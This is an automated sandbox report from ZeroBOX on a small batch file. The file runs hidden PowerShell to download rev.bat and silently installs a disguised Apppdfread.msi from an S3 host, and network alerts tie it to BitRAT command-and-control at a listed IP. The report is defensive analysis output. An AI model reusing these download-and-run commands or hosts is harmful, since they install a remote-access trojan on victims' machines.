Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6402	July 11, 2023, 9:59 a.m.	July 11, 2023, 10:01 a.m.

Size	483.0B
Type	DOS batch file, ASCII text, with CRLF line terminators
MD5	`f4987b97440b898fd438b292a5fdab17`
SHA256	`7a71db76603f67cb66aa20c64d977adda7c38bfdde04e5c3fa17668e085e6be3`
CRC32	`DC276D54`
ssdeep	`12:2oe81kkGOYGhKdihjvIhCI81knfLq6SEq4Gh7b:mR0clnVSZR1`
Yara	None matched

cmd.exe "C:\Windows\System32\cmd.exe" /c start /wait "buJBomkvuli" C:\Users\test22\AppData\Local\Temp\SysdiagHelp.bat
3012
- cmd.exe C:\Windows\system32\cmd.exe /K C:\Users\test22\AppData\Local\Temp\SysdiagHelp.bat
  2172
  - powershell.exe powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri https://fesad.s3.eu-north-1.amazonaws.com/rev.bat -OutFile C:\ProgramData\rev.bat"
    1368
  - powershell.exe powershell -WindowStyle Hidden -Command "Start-Sleep -Seconds 15"
    2384
  - msiexec.exe msiexec.exe /i https://fesad.s3.eu-north-1.amazonaws.com/Apppdfread.msi /qn
    1704
explorer.exe C:\Windows\Explorer.EXE
1236

Name	Response	Post-Analysis Lookup
fesad.s3.eu-north-1.amazonaws.com	CNAME s3-r-w.eu-north-1.amazonaws.com A 16.12.11.30	16.12.9.26

IP Address	Status	Action
16.12.11.30	Active	Moloch
164.124.101.2	Active	Moloch
185.157.162.126	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 192.168.56.102:49170 -> 16.12.11.30:443	906200054	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 192.168.56.102:49173 -> 185.157.162.126:443	906200095	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (BitRAT)	undefined
TCP 185.157.162.126:443 -> 192.168.56.102:49173	2030724	ET MALWARE Observed Malicious SSL Cert (BitRAT CnC)	Domain Observed Used for C2 Detected

Suricata TLS

Flow	Issuer	Subject	Fingerprint
TLSv1 192.168.56.102:49170 16.12.11.30:443	C=US, O=Amazon, CN=Amazon RSA 2048 M01	CN=*.s3.eu-north-1.amazonaws.com	8e:bc:29:ca:40:d5:e9:65:60:42:17:f2:71:e5:3b:24:e1:b7:9a:41
TLS 1.2 192.168.56.102:49173 185.157.162.126:443	CN=BitRAT	CN=BitRAT	fb:e2:a7:63:31:a4:36:70:f5:2c:87:7b:ab:0b:4b:f8:e5:9c:9b:7a

Queries for the computername (12 events)

Time & API	Arguments	Status	Return
GetComputerNameW July 11, 2023, 9:59 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 11, 2023, 9:59 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 11, 2023, 9:59 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 11, 2023, 9:59 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameA July 11, 2023, 9:59 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 11, 2023, 9:59 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 11, 2023, 9:59 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 11, 2023, 9:59 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 11, 2023, 9:59 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 11, 2023, 9:59 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameA July 11, 2023, 9:59 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 11, 2023, 9:59 a.m.	computer_name: TEST22-PC	1	1

Checks if process is being debugged by a debugger (2 events)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent July 11, 2023, 9:59 a.m.			0	0
IsDebuggerPresent July 11, 2023, 9:59 a.m.			0	0

Command line console output was observed (11 events)

Time & API	Arguments	Status	Return
WriteConsoleW July 11, 2023, 9:59 a.m.	buffer: 'C:\ProgramData\rev.bat' is not recognized as an internal or external command, operable program or batch file. console_handle: 0x0000000b	1	1
WriteConsoleW July 11, 2023, 9:59 a.m.	buffer: C:\Users\test22\AppData\Local\Temp> console_handle: 0x00000007	1	1
WriteConsoleW July 11, 2023, 9:59 a.m.	buffer: The term 'Invoke-WebRequest' is not recognized as the name of a cmdlet, functio console_handle: 0x00000023	1	1
WriteConsoleW July 11, 2023, 9:59 a.m.	buffer: n, script file, or operable program. Check the spelling of the name, or if a pa console_handle: 0x0000002f	1	1
WriteConsoleW July 11, 2023, 9:59 a.m.	buffer: th was included, verify that the path is correct and try again. console_handle: 0x0000003b	1	1
WriteConsoleW July 11, 2023, 9:59 a.m.	buffer: At line:1 char:18 console_handle: 0x00000047	1	1
WriteConsoleW July 11, 2023, 9:59 a.m.	buffer: + Invoke-WebRequest <<<< -Uri https://fesad.s3.eu-north-1.amazonaws.com/rev.ba console_handle: 0x00000053	1	1
WriteConsoleW July 11, 2023, 9:59 a.m.	buffer: t -OutFile C:\ProgramData\rev.bat console_handle: 0x0000005f	1	1
WriteConsoleW July 11, 2023, 9:59 a.m.	buffer: + CategoryInfo : ObjectNotFound: (Invoke-WebRequest:String) [], C console_handle: 0x0000006b	1	1
WriteConsoleW July 11, 2023, 9:59 a.m.	buffer: ommandNotFoundException console_handle: 0x00000077	1	1
WriteConsoleW July 11, 2023, 9:59 a.m.	buffer: + FullyQualifiedErrorId : CommandNotFoundException console_handle: 0x00000083	1	1

Uses Windows APIs to generate a cryptographic key (50 out of 86 events)

Time & API	Arguments	Status	Return
CryptExportKey July 11, 2023, 9:59 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00445eb8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 11, 2023, 9:59 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00445bf8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 11, 2023, 9:59 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00445bf8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 11, 2023, 9:59 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00445bf8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 11, 2023, 9:59 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004457f8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 11, 2023, 9:59 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004457f8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 11, 2023, 9:59 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004457f8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 11, 2023, 9:59 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004457f8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 11, 2023, 9:59 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004457f8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 11, 2023, 9:59 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004457f8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 11, 2023, 9:59 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004452f8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 11, 2023, 9:59 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004452f8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 11, 2023, 9:59 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004452f8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 11, 2023, 9:59 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00445df8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 11, 2023, 9:59 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00445df8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 11, 2023, 9:59 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00445df8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 11, 2023, 9:59 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004459b8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 11, 2023, 9:59 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00445df8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 11, 2023, 9:59 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00445df8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 11, 2023, 9:59 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00445df8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 11, 2023, 9:59 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00445df8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 11, 2023, 9:59 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00445df8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 11, 2023, 9:59 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00445df8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 11, 2023, 9:59 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00445df8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 11, 2023, 9:59 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00445cb8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 11, 2023, 9:59 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00445cb8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 11, 2023, 9:59 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00445cb8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 11, 2023, 9:59 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00445cb8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 11, 2023, 9:59 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00445cb8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 11, 2023, 9:59 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00445cb8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 11, 2023, 9:59 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00445cb8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 11, 2023, 9:59 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00445cb8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 11, 2023, 9:59 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00445cb8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 11, 2023, 9:59 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00445cb8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 11, 2023, 9:59 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00445cb8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 11, 2023, 9:59 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00445cb8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 11, 2023, 9:59 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00445cb8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 11, 2023, 9:59 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00445cb8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 11, 2023, 9:59 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00445438 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 11, 2023, 9:59 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00445438 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 11, 2023, 9:59 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00445438 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 11, 2023, 9:59 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00445438 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 11, 2023, 9:59 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00445438 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 11, 2023, 9:59 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00445438 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 11, 2023, 9:59 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00445438 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 11, 2023, 9:59 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00445438 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 11, 2023, 9:59 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00360870 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 11, 2023, 9:59 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00360ef0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 11, 2023, 9:59 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00360ef0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 11, 2023, 9:59 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00360ef0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx July 11, 2023, 9:59 a.m.		1	1	0

Performs some HTTP requests (1 event)

request

GET https://fesad.s3.eu-north-1.amazonaws.com/Apppdfread.msi

Allocates read-write-execute memory (usually to unpack itself) (50 out of 272 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory July 11, 2023, 9:59 a.m.	process_identifier: 1368 region_size: 2293760 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x028d0000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 11, 2023, 9:59 a.m.	process_identifier: 1368 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02ac0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory July 11, 2023, 9:59 a.m.	process_identifier: 1368 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73961000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 11, 2023, 9:59 a.m.	process_identifier: 1368 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0267a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory July 11, 2023, 9:59 a.m.	process_identifier: 1368 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 8192 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73962000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 11, 2023, 9:59 a.m.	process_identifier: 1368 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02672000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 11, 2023, 9:59 a.m.	process_identifier: 1368 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026c2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 11, 2023, 9:59 a.m.	process_identifier: 1368 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02ac1000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 11, 2023, 9:59 a.m.	process_identifier: 1368 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02ac2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 11, 2023, 9:59 a.m.	process_identifier: 1368 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026ea000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 11, 2023, 9:59 a.m.	process_identifier: 1368 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026c3000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 11, 2023, 9:59 a.m.	process_identifier: 1368 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026c4000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 11, 2023, 9:59 a.m.	process_identifier: 1368 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026fb000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 11, 2023, 9:59 a.m.	process_identifier: 1368 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026f7000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 11, 2023, 9:59 a.m.	process_identifier: 1368 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0267b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 11, 2023, 9:59 a.m.	process_identifier: 1368 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026e2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 11, 2023, 9:59 a.m.	process_identifier: 1368 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026f5000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 11, 2023, 9:59 a.m.	process_identifier: 1368 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026c5000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 11, 2023, 9:59 a.m.	process_identifier: 1368 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026ec000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 11, 2023, 9:59 a.m.	process_identifier: 1368 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02990000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 11, 2023, 9:59 a.m.	process_identifier: 1368 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026c6000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 11, 2023, 9:59 a.m.	process_identifier: 1368 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026fc000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 11, 2023, 9:59 a.m.	process_identifier: 1368 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026e3000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 11, 2023, 9:59 a.m.	process_identifier: 1368 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026e4000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 11, 2023, 9:59 a.m.	process_identifier: 1368 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026e5000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 11, 2023, 9:59 a.m.	process_identifier: 1368 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026e6000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 11, 2023, 9:59 a.m.	process_identifier: 1368 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026e7000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 11, 2023, 9:59 a.m.	process_identifier: 1368 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026e8000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 11, 2023, 9:59 a.m.	process_identifier: 1368 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026e9000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 11, 2023, 9:59 a.m.	process_identifier: 1368 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x029c0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 11, 2023, 9:59 a.m.	process_identifier: 1368 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x029c1000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 11, 2023, 9:59 a.m.	process_identifier: 1368 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x029c2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 11, 2023, 9:59 a.m.	process_identifier: 1368 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x029c3000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 11, 2023, 9:59 a.m.	process_identifier: 1368 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x029c4000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 11, 2023, 9:59 a.m.	process_identifier: 1368 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x029c5000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 11, 2023, 9:59 a.m.	process_identifier: 1368 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x029c6000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 11, 2023, 9:59 a.m.	process_identifier: 1368 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x029c7000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 11, 2023, 9:59 a.m.	process_identifier: 1368 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x029c8000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 11, 2023, 9:59 a.m.	process_identifier: 1368 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x029c9000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 11, 2023, 9:59 a.m.	process_identifier: 1368 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x029ca000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 11, 2023, 9:59 a.m.	process_identifier: 1368 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x029cb000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 11, 2023, 9:59 a.m.	process_identifier: 1368 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x029cc000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 11, 2023, 9:59 a.m.	process_identifier: 1368 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x029cd000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 11, 2023, 9:59 a.m.	process_identifier: 1368 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x029ce000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 11, 2023, 9:59 a.m.	process_identifier: 1368 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x029cf000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 11, 2023, 9:59 a.m.	process_identifier: 1368 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02ab0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 11, 2023, 9:59 a.m.	process_identifier: 1368 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02ab1000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 11, 2023, 9:59 a.m.	process_identifier: 1368 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02ab2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
